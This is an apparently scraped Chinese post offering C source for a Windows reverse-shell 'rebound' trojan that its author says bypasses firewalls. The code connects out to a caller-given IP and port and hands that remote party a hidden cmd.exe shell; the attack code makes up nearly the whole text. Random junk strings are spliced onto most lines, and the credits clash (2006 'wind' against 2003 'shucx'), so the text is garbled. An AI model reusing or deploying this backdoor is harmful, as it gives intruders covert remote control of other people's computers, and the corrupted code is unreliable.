这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]!
dTG
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/* ============================== (?c-iKGc
Rebound port in Windows NT OH88n69
By wind,2006/7 Z7#+pPt!
===============================*/ 7"mc+QOp
#include Zh,71Umz
#include g ?k=^C
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#pragma comment(lib,"wsock32.lib") ;]iRk
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void OutputShell(); k\IbIv7?i
SOCKET sClient; J1vR5wbu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) '7/)Ot(
{ y^k$Us
WSADATA stWsaData; /,dz@
int nRet; gSgr6TH0
SOCKADDR_IN stSaiClient,stSaiServer; Gq6*SaTk
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if(argc != 3) Si7*& dw=
{ nEfK53i_
printf("Useage:\n\rRebound DestIP DestPort\n"); <[v[ci
return; %RVZD#zr
} IcEdG(
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WSAStartup(MAKEWORD(2,2),&stWsaData); \lY_~*J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /mHqurB
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stSaiClient.sin_family = AF_INET; ),)lzN%!
stSaiClient.sin_port = htons(0); !W\+#ez
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /{[o~:'p
{ mR~&)QBP.
printf("Bind Socket Failed!\n"); [Zrr)8A
return; *#2h/Q.
} j+!v}*I![
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stSaiServer.sin_family = AF_INET; B[}6-2<>?C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H.;Q+A,8^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E@\e$?*X
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GB^B r6
{ 9$Y=orpWxr
printf("Connect Error!"); 83m3OD_y
return; ~>G^=0LT
} pdMc}=K
OutputShell(); @d_M@\r=j
} KXrjqqXs
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void OutputShell() k!^{eOM
{ K@2),(z
char szBuff[1024]; Fcx&hj1gQ
SECURITY_ATTRIBUTES stSecurityAttributes; }qUX=s
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OSVERSIONINFO stOsversionInfo; NRuNKl.v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3'Rx=G'
STARTUPINFO stStartupInfo; #G3<7PK
char *szShell; ni<(K
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PROCESS_INFORMATION stProcessInformation; %xW"!WbJ|
unsigned long lBytesRead; YR70BOxK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Om<a<q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "7
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stSecurityAttributes.lpSecurityDescriptor = 0; yu|>t4#GT
stSecurityAttributes.bInheritHandle = TRUE; >l m&iF3y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :3PH8TL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +t.b` U`-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GY*p?k<i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cNrg#Asen&
stStartupInfo.wShowWindow = SW_HIDE; )+^+sd
stStartupInfo.hStdInput = hReadPipe; ~Ei<Z`3}7"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; + 3gp%`c4
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GetVersionEx(&stOsversionInfo); <aw[ XFg
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switch(stOsversionInfo.dwPlatformId) qK+5NF|
{ Sdo-nt
case 1: mDWG7 Asp
szShell = "command.com"; s~>}a
break; r%_djUd
default: U:`Kss`
szShell = "cmd.exe"; =I<R! ZSN
break; ~o(
} wkq 66?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ks tIgcI
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send(sClient,szMsg,77,0); e.C)jv6qr
while(1) x2EUr,7
{ F
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }k0_5S
if(lBytesRead) J,hCvm
{ mw!F{pw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PCvWS.{
send(sClient,szBuff,lBytesRead,0); !if
} _$'ashF
else /z!%d%"
{ }C:r9?T
lBytesRead=recv(sClient,szBuff,1024,0); :/#rZPPF
if(lBytesRead<=0) break; > I?IPQB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8}[).d160
}
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} T%Lx%Qn
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return; Ba,`TJ%y
}